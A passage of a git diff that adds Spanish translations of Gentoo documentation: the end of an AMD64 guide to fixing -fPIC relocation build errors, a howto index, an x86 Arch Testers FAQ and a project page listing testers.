+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+Hay muchas causas para este tipo de error. Esta guía las explica todas
+y muestra cómo solucionarlos.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Qué es PIC?</title>
+<body>
+
+<p>
+PIC es la abreviación de <e>Código Independiente de la
+Posición</e>. Lo siguiente es un extracto
+del <uri
+link="http://en.wikipedia.org/wiki/Position-independent_code">artículo
+de la Wikipedia</uri> (en inglés) acerca del código independiente de
+la posición:
+</p>
+
+<p by="Enciclopedia Wikipedia">
+"En informática, el código independiente de la posición (PIC) o
+ejecutable independiente de la posición (PIE) es código objeto que se
+puede ejecutar en diferentes localizaciones de la memoria. Las
+librerías compartidas suelen usar PIC, así el código de la misma
+librería puede ser mapeado a una localización diferente por cada
+aplicación (usando el sistema de memoria virtual) donde no se solapará
+con la aplicación o con otras librerías compartidas. También se usaba
+PIC en viejos sistemas informáticos que carecían de MMU, así el
+sistema operativo mantenía las aplicaciones separadas unas de
+otras.<br/><br/> El código independiente de la posición puede ser
+copiado a cualquier localización de memoria sin modificarlo y
+ejecutarlo, a diferencia del código relocalizable, que necesita un
+procesamiento especial por un editor de enlaces o un cargador de
+programas para prepararlo para la ejecución en una localización
+determinada. Generalmente, se debe escribir o compilar el código de
+forma especial para que sea independiente de la
+posición. Instrucciones que hacen referencia a direcciones de memoria
+específicas, como por ejemplo ramas absolutas, se deben cambiar por
+instrucciones equivalentes relativas. La redirección extra puede
+causar que el código PIC sea menos eficiente aunque los procesadores
+modernos están diseñados para aliviar esto."
+</p>
+
+<p>
+En ciertas arquitecturas (AMD64 entre ellas), las bibliotecas
+compartidas
+<e>deben</e> estar habilitadas para PIC.
+<!-- [TODO: reasons would be awesome]. -->
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Qué son las "relocalizaciones"?</title>
+<body>
+
+<p>
+Otra vez, un extracto del artículo de la Wikipedia, que es lo mejor
+que he podido encontrar:
+</p>
+
+<p by="Enciclopedia Wikipedia">
+"En informática, el término relocalización hace referencia a
+reemplazar referencias simbólicas o nombres de librerías por las
+direcciones reales de memoria antes de ejecutar un
+programa. Normalmente esta tarea la lleva a cabo el enlazador durante
+la compilación aunque también la puede hacer un cargador durante la
+ejecución. Los compiladores y ensambladores normalmente generan
+ejecutables cuya dirección inicial (la más baja) es cero. Antes de la
+ejecución del código objeto, se deben ajustar estas direcciones para
+que apunten a la dirección correcta de ejecución."
+</p>
+
+<p>
+Ahora que hemos definido estos términos, podemos echar un vistazo a
+los distintos escenarios donde se producen estos errores:
+</p>
+</body>
+</section>
+
+<section>
+<title>Caso 1: Compilador roto</title>
+<body>
+
+<p>
+Se sabe que GCC 3.4 tiene rota la implementación del indicador
+<c>-fvisibility-inlines-hidden</c>. El uso de este indicador es por
+tanto altamente desaconsejado, los errores reportados se marcan
+normalmente como RESOLVED INVALID. En la página
+<uri link="http://bugs.gentoo.org/108872">error 108872</uri> encontrará un
+ejemplo de un mensaje de error típico causado por este indicador.
+</p>
+
+<p>
+También se sabe que GCC 4.1.1 no funciona con <c>-O0</c>. Vea el 
+<uri link="http://bugs.gentoo.org/151832">error 151832</uri>. El problema se ha
+solucionado en GCC 4.1.2 y 4.2
+</p>
+</body>
+</section>
+
+<section>
+<title>Caso 2: Soporte `-fPIC' roto en pruebas de configure</title>
+<body>
+
+<p>
+Muchas herramientas <c>configure</c> prueban si el compilador soporta
+el indicador <c>-fPIC</c> o no. Para hacerlo, compilan un pequeño
+programa con el indicador <c>-fPIC</c> y verifican
+el <c>stderr</c>. Si el compilador muestra *cualquier* aviso, asume
+que el indicador <c>-fPIC</c> no está soportado por el compilador y
+aborta. Por desgracia, si el usuario especifica un indicador
+inexistente (p.e. indicadores exclusivos de C++ en las <c>CFLAGS</c> o
+indicadores introducidos en versiones recientes de GCC pero no en las
+viejas), GCC también muestra un aviso resultando en un error.
+</p>
+
+<p>
+Para evitar este tipo de errores, los perfiles AMD64 usan un bashrc
+para filtrar los indicadores no validos en <c>C[XX]FLAGS</c>.
+</p>
+
+<p>
+Consulte, por ejemplo,
+el <uri link="http://bugs.gentoo.org/122208">error 122208</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Caso 3: Ausencia de indicador `-fPIC' en el software a construir</title>
+<body>
+
+<p>
+Éste es el caso más común. Es un error en el sistema de construcción y
+debe ser reparado en el ebuild, preferentemente con un parche enviado
+a los desarrolladores. Asumiendo que el mensaje de error sea como
+éste:
+</p>
+
+<pre caption="Un mensaje de error de muestra">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+Esto significa que el archivo <path>assert.o</path> no fue compilado
+con el indicador <c>-fPIC</c> como debería. Cuando solucione este tipo
+de error, asegúrese de que sólo los objetos que vayan a ser usados en
+librerías compartidas sean compilados con el indicador <c>-fPIC</c>.
+<!-- [TODO: Again, reasons would be lovely] -->
+</p>
+
+<p>
+En este caso, añadiendo <c>-fPIC</c> a las <c>C[XX]FLAGS</c> globales
+se resuelve este problema, aunque no se aconseja esta práctica ya que
+los ejecutables también terminan estando habilitados para PIC.
+</p>
+
+<note>
+Añadir el indicador <c>-fPIC</c> al enlazador o a las <c>LDFLAGS</c>
+no sirve.
+</note>
+</body>
+</section>
+
+<section>
+<title>Caso 4: Enlazando dinámicamente contra archivos estáticos</title>
+<body>
+
+<p>
+A veces un paquete trata de construir librerías compartidas usando
+archivos construidos estáticamente que no están habilitados para
+PIC. Hay dos razones principales por lo que esto ocurre:
+</p>
+
+<p>
+A menudo es el resultado de mezclar <c>USE=static</c>
+y <c>USE=-static</c>. Si un paquete de librería puede ser construido
+estáticamente mediante <c>USE=static</c>, normalmente no se crea un
+archivo <path>.so</path> sino que sólo se crea un
+archivo <path>.a</path>. Sin embargo, cuando se le pasa a GCC la
+opción <c>-l</c> para enlazar una librería (estática o dinámica) si no
+encuentra una librería compartida usa el archivo estático. En este
+caso, la mejor solución es construir la librería estática usando
+también el indicador
+<c>-fPIC</c>.
+</p>
+
+<warn>
+Construya solamente archivos estáticos con <c>-fPIC</c> en AMD64. En
+otras arquitecturas esto es innecesario y puede afectar al rendimiento
+durante la ejecución.
+</warn>
+
+<p>
+Vea el <uri link="http://bugs.gentoo.org/88360">error 88360</uri> y
+el <uri link="http://bugs.mysql.com/bug.php?id=8796">error mysql
+8796</uri> como ejemplos de este error.
+</p>
+
+<p>
+A veces también se da el caso de que una librería no está pensada para
+ser una librería compartida, p.e. porque hace un uso intensivo de
+variables globales.  En este caso la solución es convertir la librería
+compartida que se va a construir en estática.
+</p>
+
+<p>
+Vea, por ejemplo, el <uri link="http://bugs.gentoo.org/131460">error
+131460</uri>.
+</p>
+
+<pre caption="Un mensaje de error de muestra">
+gcc   -fPIC -DSHARED_OBJECT -c lex.yy.c
+gcc  -shared -o html2txt.so lex.yy.o -lfl
+usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../x86_64-pc-linux-gnu/bin/ld:
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a(libyywrap.o):
+relocation R_X86_64_32 against `a local symbol' can not be used when making a
+shared object; recompile with -fPIC
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a: could not
+read symbols: Bad value
+</pre>
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/es/base/amd64/howtos/index.xml b/xml/htdocs/proj/es/base/amd64/howtos/index.xml
new file mode 100644
index 00000000..3d7e198c
--- /dev/null
+++ b/xml/htdocs/proj/es/base/amd64/howtos/index.xml
@@ -0,0 +1,64 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header:
+/var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/index.xml,v 1.11
+2006/10/03 13:29:51 blubb Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="/proj/es/base/amd64/howtos/index.xml">
+<title>Los comos (howtos) de Gentoo/AMD64</title>
+
+<author title="Responsable de mantenimiento">
+  <mail link="slarti@gentoo.org">Tom Martin</mail>
+</author>
+<author title="Responsable de mantenimiento">
+  <mail link="blubb@gentoo.org">Simon Stelling</mail>
+</author>
+<author title="Traductor">
+  <mail link="jgascon@gmail.com">Jaime Gascón Romero</mail>
+</author>
+
+<abstract>
+Aquí encontrará pequeñas guías para Gentoo/AMD64.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2005.1</version>
+<date>2006-02-01</date>
+
+<part>
+<title>Los comos (howtos) de Gentoo/AMD64</title>
+<abstract>
+Proporciona guías para los usuarios de Gentoo/AMD64.
+</abstract>
+
+<chapter>
+<title>Cómo informar de errores</title>
+<abstract>
+Proporciona información sobre cómo informar de errores relacionados con
+Gentoo/AMD64.
+</abstract>
+<include href="bugs.xml"/>
+</chapter>
+
+<chapter>
+<title>Guía del entorno chroot de 32 bits para Gentoo/AMD64</title>
+<abstract>
+Esta guía le ayudará a crear un entorno chroot de 32 bits para su sistema
+Gentoo/AMD64.
+</abstract>
+<include href="chroot.xml"/>
+</chapter>
+
+<chapter>
+<title>Cómo corregir los errores -fPIC</title>
+<abstract>
+Esta guía esta dirigida a los desarrolladores y usuarios interesados en cómo
+solucionar los errores -fPIC.
+</abstract>
+<include href="fpic-howto.xml"/>
+</chapter>
+</part>
+</book>
diff --git a/xml/htdocs/proj/es/base/x86/arch-testers-faq.xml b/xml/htdocs/proj/es/base/x86/arch-testers-faq.xml
new file mode 100644
index 00000000..491c70bd
--- /dev/null
+++ b/xml/htdocs/proj/es/base/x86/arch-testers-faq.xml
@@ -0,0 +1,490 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/base/x86/arch-testers-faq.xml,v 1.7 2010/08/15 09:31:27 nimiux Exp $ -->
+
+<guide link="/proj/es/base/x86/arch-testers-faq.xml" lang="es">
+<title>FAQ para Arch Testers de Gentoo x86</title>
+
+<author title="Autor">
+  <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Traductor">
+  <mail link="aj2r@ya.com">aj2r</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+<author title="Traductor">
+  <mail link="chiguire" />
+</author>
+
+<abstract>
+Este documento es la biblia de los "Arch Testers" x86.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.7</version>
+<date>2010-08-12</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+
+<p>
+Este FAQ procura contestar a las preguntas más comúnmente hechas sobre
+cómo ser un "Arch Tester" en el equipo x86. Se pueden hacer preguntas en
+el irc en #gentoo-x86 o enviarlas por correo al autor.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preguntas</title>
+<section>
+<title>Los Fundamentos</title>
+<body>
+
+<p>
+Preguntas generales sobre el "Arch Testing".
+</p>
+
+<ul>
+  <li><uri link="#whoat">¿Quién es un "Arch Tester"?</uri></li>
+  <li><uri link="#whyat">¿Por qué Gentoo necesita "Arch Testers"?</uri></li>
+  <li>
+    <uri link="#basicsk">¿Cuáles son las habilidades básicas que necesito
+    para ser un AT?</uri>
+  </li>
+  <li>
+    <uri link="#basicsys">¿Cuáles son los requisitos básicos del sistema si
+    los hay?</uri>
+  </li>
+  <li>
+    <uri link="#x86at">¿Qué significa ser parte del equipo AT x86?</uri>
+  </li>
+  <li>
+    <uri link="#atwhat">¿Qué tengo que hacer como AT?. ¿Cuáles son mis
+    roles/responsabilidades?</uri>
+  </li>
+  <li>
+   <uri link="#athow">¿Cómo consigo implicarme con el equipo y comienzo
+   a ayudar?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Preparativos</title>
+<body>
+
+<p>
+Como tener su sistema configurado y listo para probar paquetes.
+</p>
+
+<ul>
+  <li>
+   <uri link="#stchroot">No uso x86 estable, mi equipo es ~x86.
+   ¿Cómo puedo configurar un chroot x86?</uri>
+  </li>
+  <li>
+   <uri link="#kernelv">Uso un núcleo inestable. ¿Es un inconveniente
+   cuando estoy probando paquetes?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>¡Trabajo, Trabajo, Trabajo!</title>
+<body>
+
+<p>
+Trabajo que se realiza diariamente.
+</p>
+
+<ul>
+  <li>
+    <uri link="#steptest">¿Cuáles son los pasos que necesito seguir cuando
+    estoy probando un paquete?</uri>
+  </li>
+  <li><uri link="#powers">¿Qué poderes divinos tengo como AT?</uri></li>
+  <li><uri link="#whomct">¿Con quién contactar en caso de errores?</uri></li>
+  <li>
+    <uri link="#methct">¿Cuál es la mejor manera de entrar en contacto con
+    los mantenedores/desarrolladores?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Los Fundamentos</title>
+<section>
+<body>
+
+<p>
+Esta sección pretende ser absolutamente genérica y las preguntas contestadas
+aquí son válidas para la mayoría de las arquitecturas en Gentoo.
+</p>
+
+</body>
+</section>
+<section id="whoat">
+<title>¿Qué es un "Arch Tester"?</title>
+<body>
+
+<p>
+Un "Arch Tester" (referido comúnmente como "AT") es un usuario digno de
+confianza capaz de probar una aplicación para determinar su estabilidad.
+Para ser un AT debe ser capaz de probar una amplia gama de paquetes, y poder
+entender y modificar ebuilds.
+</p>
+
+</body>
+</section>
+<section id="whyat">
+<title>¿Por qué Gentoo necesita "Arch Testers"?</title>
+<body>
+
+<p>
+Necesitamos los ATs para ayudar a mejorar la Garantía de Calidad (QA), y para
+ayudar a los Desarrolladores Arch a asegurar que los paquetes son realmente
+estables habiendo sido probados por otros que informen sobre sus resultados.
+Conforme el árbol se hace más y más grande necesitamos a más gente que
+observe activamente las cosas que se rompen, y ayuden a arreglarlas.
+</p>
+
+</body>
+</section>
+<section id="basicsk">
+<title>¿Cuáles son las habilidades básicas que necesito para ser un AT?</title>
+<body>
+
+<p>
+Debe ser capaz de modificar ebuilds y reconocer errores que deben ser
+corregidos antes de que marquemos el paquete como estable. También se
+espera que pueda probar los paquetes e informe del bug correctamente si
+hay problemas con cualquier cosa. Esto significa que debe sentirse cómodo
+programando con bash así como en áreas específicas de Gentoo tales como
+overlays de Portage.
+</p>
+
+</body>
+</section>
+<section id="basicsys">
+<title>¿Cuáles son los requisitos básicos del sistema si los hay?</title>
+<body>
+
+<p>
+Necesitará un sistema, o un chroot, que utilice solamente paquetes
+marcados como "x86". Esto es así debido a que realmente usamos
+librerías estables para probar los paquetes, y podemos encontrar bugs
+en paquetes marcamos como estables. Alternativamente puede ejecutar
+Gentoo en una máquina dedicada únicamente para pruebas, o en una
+máquina virtual. Algunos programas adecuados para esto último son
+VirtualBox, VMWare o QEmu/KVM, aunque se desalienta su uso para
+trabajo en distintas plataformas por no ser el verdadero hardware.
+</p>
+
+<p>
+Además necesita definir <c>FEATURES="test collision-protect"</c>
+para atrapar los fallos de los test y las colisiones de ficheros
+entre paquetes. Algunos paquetes no respetan el valor de LDFLAGS
+y CFLAGS/CXXFLAGS cuando se contruyen, lo que puede dar lugar a
+fallos. Debe definir al menos
+<c>LDFLAGS="${LDFLAGS} -Wl,--hash-style=gnu"</c>, lo que hace
+que Portage muestre una advertencia sobre esto.
+</p>
+
+</body>
+</section>
+
+<section id="x86at">
+<title>¿Qué significa ser parte del equipo AT x86?</title>
+<body>
+
+<p>
+Ser parte del Equipo AT x86 significa que está preparado para dedicar una
+cierta cantidad de tiempo a ayudar a Gentoo/x86. También significa que está
+interesado en ayudar a probar cualquier aplicación que nos pidan marcar
+estable.
+</p>
+
+</body>
+</section>
+<section id="atwhat">
+<title>¿Qué tengo que hacer como AT?. ¿Cuáles son mis roles/responsabilidades?</title>
+<body>
+
+<p>
+Necesita ayudar a desarrolladores arch a probar los paquetes. La prueba de
+un paquete requiere más que simplemente asegurarse de que compila. Esperamos
+que se compruebe que al menos la mayor parte de la funcionalidad de la
+aplicación es correcta. Al probar un paquete, asegúrese de tener definida
+<c>FEATURES="test collision-protect"</c>. Si cualquier paquete falla al
+intentar hacer emerge con esta característica configurada, es una cuestión
+importante de la QA y no podemos proceder hasta que sea resuelto.
+</p>
+
+</body>
+</section>
+<section id="athow">
+<title>¿Cómo consigo implicarme con el equipo y comienzo a ayudar?</title>
+<body>
+
+<p>
+Primero debe leer este FAQ entero así estará al corriente de lo que significa
+realmente ser un AT. Después de terminar esto, debe ir a irc.freenode.net y
+entrar en #gentoo-x86. Los desarrolladores a menudo piden ayuda con la prueba
+de un paquete, y puede intentar ayudar en lo que pueda.
+</p>
+
+<p>
+La principal forma de empezar a ayudar es mirar nuestros bugs. Aquí
+están algunos enlaces para que los añada a sus marcadores o los guarde
+como búsquedas en bugzilla:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://tinyurl.com/obcta">Todas las bugs x86</uri>
+  </li>
+  <li>
+    <uri link="http://tinyurl.com/cpdjk">Bugs relacionadas con la
+    seguridad</uri>
+  </li>
+</ul>
+
+<p>
+Finalmente, después de que haya demostrado un cierto nivel de compromiso y
+de que pensemos que será una buena incorporación al equipo, le entregaremos
+el <uri link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">
+cuestionario ebuild</uri> y entonces pasará un periodo de 30 días con un
+mentor.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preparativos</title>
+<section>
+<body>
+
+<p>
+Esta sección trata las preguntas del estilo "cómo configurar" para
+guiarle a la hora de preparar su sistema para hacer algún trabajo de AT :)
+</p>
+
+</body>
+</section>
+<section id="stchroot">
+<title>No uso x86 estable, mi equipo es ~x86. ¿Cómo puedo configurar un
+chroot x86?</title>
+<body>
+
+<p>
+Por favor, eche una ojeada a la <uri link="chroot.xml">Guía Chroot</uri>
+para más información respecto a la configuración de un entorno chroot.
+</p>
+
+</body>
+</section>
+<section id="kernelv">
+<title>Uso un núcleo inestable. ¿Es un inconveniente cuando estoy probando
+paquetes?</title>
+<body>
+
+<p>
+Es preferible que use un núcleo estable fuera del chroot pero no es un
+requisito estricto.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>¡Trabajo, Trabajo, Trabajo!</title>
+<section>
+<body>
+
+<p>
+Preguntas sobre cómo realizar exactamente su trabajo diario son contestadas
+aquí.
+</p>
+
+</body>
+</section>
+<section id="steptest">
+<title>¿Cuáles son los pasos que necesito seguir cuando estoy probando
+un paquete?</title>
+<body>
+
+<ol>
+  <li>
+     Asegúrese de que todos los paquetes en el sistema/chroot sean estables.
+  </li>
+  <li>
+     Ajuste <c>FEATURES="test collision-protect"</c> en
+     <path>/etc/make.conf</path> y use un conjunto de <c>CFLAGS</c> "sano",
+     tal y como se describe en la <uri
+     link="http://www.gentoo.org/doc/en/gcc-optimization.xml">Guía de
+     Compilación y Optimización de Gentoo</uri>.
+
+  </li>
+  <li>
+     Elija una petición de las listas de bugs mencionadas arriba, en las que
+     las bugs de seguridad y de palabra clave (keywording) tienen la más
+     absoluta prioridad.
+  </li>
+  <li>
+     Normalmente, todos los paquetes que se necesitan se listan en la
+     petición, pero a veces, se olvidan las dependencias. Esto no es
+     normalmente un problema en la mayoría de los casos, pero debe
+     incluirlo en su informe de todos modos. Para añadir automáticamente
+     todos los paquetes necesarios al fichero <c>package.keywords</c>,
+     debe usar
+     <uri link="http://packages.gentoo.org/package/app-portage/gatt">
+     app-portage/gatt</uri>.
+  </li>
+  <li>
+    Después de hacer emerge del paquete con varias combinaciones de
+    parámetros USE, ejecútelo y asegúrese que la funcionalidad básica
+    es correcta. Si el paquete es una librería, instale un par de
+    paquetes que usen esta librería para asegurar que funcionen con la
+    nueva versión (mejor aún: de todos los paquetes que dependan de él
+    y tengan versiones estables). Las llamadas dependencias inversas
+    se encuentran en el <uri
+    link="http://tinderbox.dev.gentoo.org/misc/dindex/">dindex</uri>.
+  </li>
+  <li>
+    Informe al equipo sobre las pruebas realizadas correctamente o los
+    fallos encontrados en el informe de bug correspondiente, incluyendo
+    lo que hizo y en qué plataforma. Si hubo problemas, añada también
+    la salida de <c>emerge --info</c>.
+  </li>
+  <li>
+    Los problemas que ocurran en la versión estable actual, no serán un
+    obstáculo para las estabilizaciones, pero necesitan ser notificadas
+    de todos modos.
+  </li>
+</ol>
+
+<p>Consejos adicionales que puede encontrar de utilidad:</p>
+
+<ul>
+  <li>
+    Los testers de arquitectura no sólo comprueban paquetes sino que
+    también buscan activamente soluciones para los problemas encontrados.
+    Fuentes importantes de información son los sistemas de control de
+    versiones y los seguidores de bugs (bug trackers) de otras
+    distribuciones y también el desarrollo principal del paquete.
+    ¡Informar de bugs a los autores es tan importante como comprobar
+    los paquetes!.
+  </li>
+  <li>
+    Active un vigilante en Bugzilla en sus <uri
+    link="http://bugs.gentoo.org/userprefs.cgi?tab=email">
+    preferencias</uri> para el alias x86@gentoo.org. Así recibirá todos
+    los correos de Bugzilla dirigidos al equipo x86.
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="powers">
+<title>¿Qué poderes divinos tengo como AT?</title>
+<body>
+
+<p>
+¡Ja!. ¿Bromea cuando pregunta eso verdad?. Los ATs son los subalternos
+que hacen todo el trabajo y no tienen ningunos poderes ni juegan .....
+De acuerdo, bromeaba :)
+</p>
+
+<p>
+Cosas a las que tiene acceso o puede hacer como AT:
+</p>
+
+<ul>
+  <li>
+    Privilegios elevados en <uri link="http://bugs.gentoo.org">Gentoo
+    Bugzilla</uri> de modo que pueda modificar todos los aspectos de
+    un bug. Esto se da principalmente de forma que pueda reasignar bugs
+    correctamente en caso de que sea necesario y para que se coordine
+    con los mantenedores/otros equipos arch etc. del paquete.
+  </li>
+  <li>Acceso cvs de sólo lectura al repositorio gentoo-x86, lo cual no
+  es un privilegio, pero es útil para los ATs. Mire <uri
+  link="http://sources.gentoo.org/">ViewCVS</uri> como una URL para
+  acceder de forma anónima.</li>
+</ul>
+
+<p>
+Cosas a las que no tiene acceso o no puede hacer como AT:
+</p>
+
+<ul>
+  <li>
+     Confirmar correcciones en los ebuilds. Tendrá que encontrar al
+     mantenedor a otro desarrollador con acceso para hacerlo.
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="whomct">
+<title>¿Con quién contactar en caso de errores?</title>
+<body>
+
+<p>
+Si descubre algún error importante en el árbol, primero intente contactar
+con la persona que causó el error. Ésto se puede encontrar normalmente en el
+<path>ChangeLog</path>, pero si no, use
+<uri link="http://sources.gentoo.org/">ViewCVS</uri> para ver quién realizó
+el cambio. Si no puede contactar con esta persona, inténtelo con el
+mantenedor o el equipo del paquete (si el mantenedor no es la misma persona
+que causó el error). Si todo falla, avise a un desarrollador x86 de la
+situación, así podremos dirigirlo como mejor podamos hasta que alguien
+esté disponible para gestionarlo correctamente.
+</p>
+
+</body>
+</section>
+<section id="methct">
+<title>¿Cuál es la mejor forma de entrar en contacto con
+mantenedores/desarrolladores?</title>
+<body>
+
+<p>
+Normalmente la manera más fácil de entrar en contacto con un desarrollador
+es hacerles "ping" en el IRC. Si no están por el IRC, enviarles un correo.
+Si no puede contactar con ellos, intente entrar en contacto con algún otro
+en el equipo (si fuese aplicable). Si no hay un equipo con el que contactar,
+entonces comente a alguien en el equipo x86 la situación y decidiremos
+cómo proceder. También, a no ser que el problema sea severo, deles
+suficiente tiempo para responder por correo electrónico. Compruebe el
+<uri link="http://dev.gentoo.org/devaway/">devaway</uri> para asegurarse
+de que la persona con la que trata de contactar no se ha ido.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/base/x86/at.xml b/xml/htdocs/proj/es/base/x86/at.xml
new file mode 100644
index 00000000..7ffa1288
--- /dev/null
+++ b/xml/htdocs/proj/es/base/x86/at.xml
@@ -0,0 +1,204 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Arch Testers Gentoo/x86</name>
+  <longname>Arch Testers Gentoo/x86</longname>
+  <date>2010-07-13</date>
+  <author title="Autor">
+    <mail link="mark@halcy0n.com">Mark Loeser</mail>
+  </author>
+  <author title="Author">
+    <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+  </author>
+  <author title="Traductor">
+    <mail link="aj2r@ya.com">aj2r</mail>
+  </author>
+  <author title="Traductor">
+    <mail link="nimiux"/>
+  </author>
+
+  <description>
+  Los "Arch Testers" asisten a los desarrolladores Gentoo/x86 probando
+  paquetes que deben ser marcados como estables.
+  </description>
+
+  <longdescription>
+    <p>
+    El equipo de "Arch Testers" es responsable, con la ayuda de los
+    desarrolladores x86, de probar los paquetes que deben ser marcados
+    como estable. Los "Arch Testers" son respetados miembros de la
+    comunidad que el equipo de x86 ha reconocido como dignos de confianza.
+    </p>
+  </longdescription>
+
+  <dev role="lead" description="Subproject Lead">fauli</dev>
+
+  <extrachapter>
+    <title>Arch Testers</title>
+    <section>
+      <body>
+        <table>
+          <tr>
+            <th>Nombre</th>
+            <th>Apodo</th>
+            <th>Estado</th>
+            <th>Correo electrónico</th>
+          </tr>
+          <tr>
+            <ti>Sander Knopper</ti>
+            <ti>saknopper</ti>
+            <ti>Activo</ti>
+            <ti>sander (AT) knopper.tk</ti>
+          </tr>
+          <tr>
+            <ti>Thomas Kahle</ti>
+            <ti>tomka</ti>
+            <ti>Activo</ti>
+            <ti>tom111 (AT) gmx.de</ti>
+          </tr>
+          <tr>
+            <ti>Andreas Schuerch</ti>
+            <ti>nativemad</ti>
+            <ti>Activo</ti>
+            <ti>andreas DOT schuerch (AT) nativenet DOT ch></ti>
+          </tr>
+          <tr>
+            <ti>Jesus de Santos Garcia</ti>
+            <ti>ent</ti>
+            <ti>Antes del quiz</ti>
+            <ti>icg_ent (AT) bigfoot.com</ti>
+          </tr>
+          <tr>
+            <ti>Myckel Habets</ti>
+            <ti>Myckel</ti>
+            <ti>Antes del quiz</ti>
+            <ti>myckel (AT) sdf DOT lonestar DOT org</ti>
+          </tr>
+          <tr>
+            <ti>Dane Smith</ti>
+            <ti>smithdanea</ti>
+            <ti>Antes del quiz</ti>
+            <ti>smithdanea (AT) gmail.com</ti>
+          </tr>
+          <tr>
+            <ti>David Abbott</ti>
+            <ti>dabbott</ti>
+            <ti>Desarrollador</ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>Ryan Hill</ti>
+            <ti>dirtyepic</ti>
+            <ti>Desarrollador</ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>Christian Faulhammer</ti>
+            <ti>Fauli/Opfer</ti>
+            <ti>Desarrollador</ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>Markus Meier</ti>
+            <ti>maekke</ti>
+            <ti>Desarrollador</ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>Kacper Kowalik</ti>
+            <ti>xarthisius</ti>
+            <ti>Desarrollador</ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>Emanuele Gentili</ti>
+            <ti>bathym</ti>
+            <ti>Inactivo</ti>
+            <ti>bathym (AT) 0x656d67.org</ti>
+          </tr>
+          <tr>
+            <ti>Greg Watson</ti>
+            <ti>LinuxKrn</ti>
+            <ti>Inactivo</ti>
+            <ti>bugs (AT) linuxlogin.com</ti>
+          </tr>
+          <tr>
+            <ti>Matthias Langer</ti>
+            <ti>mlangc</ti>
+            <ti>Inactivo</ti>
+            <ti>mlangc (AT) gmx.at</ti>
+          </tr>
+          <tr>
+            <ti>Alex Maclean</ti>
+            <ti>Monkeh</ti>
+            <ti>Inactivo</ti>
+            <ti>monkeh (AT) monkeh.net</ti>
+          </tr>
+          <tr>
+            <ti>David Morgan</ti>
+            <ti>djm</ti>
+            <ti>Inactivo</ti>
+            <ti>david.morgan (AT) wadham.oxford.ac.uk</ti>
+          </tr>
+          <tr>
+            <ti>Dimitry Bradt</ti>
+            <ti>diox</ti>
+            <ti>Desarrollador (retirado)</ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>Charlie Shepherd</ti>
+            <ti>masterdriverz</ti>
+            <ti>Desarrollador (retirado)</ti>
+            <ti></ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter>
+    <title>Documentación</title>
+    <section>
+      <body>
+        <p>
+        El equipo Gentoo/x86 ha puesto alguna documentación para ayudar
+        a los aspirantes a "Arch Testers" a comenzar:
+        </p>
+
+        <ul>
+          <li><uri link="arch-testers-faq.xml">
+          FAQ Arch Tester de Gentoo</uri></li>
+          <li><uri link="chroot.xml">Guía Chroot</uri></li>
+        </ul>
+
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>Cómo Participar</title>
+    <section>
+      <body>
+
+        <p>
+        Si está interesado en ayudar a Gentoo, y no está seguro de
+        cómo comenzar, entonces unirse al equipo de "Arch Testers"
+        Gentoo/x86 puede ser una forma estupenda de comenzar. Si tiene
+        cualquier pregunta, por favor contacte con cualquiera de los
+        desarrolladores enumerados en la página mediante correo
+        electrónico email o IRC (Chat). Siempre estamos buscando más
+        "testers", así que no piense que su ayuda no será de utilidad.
+        </p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+</project>
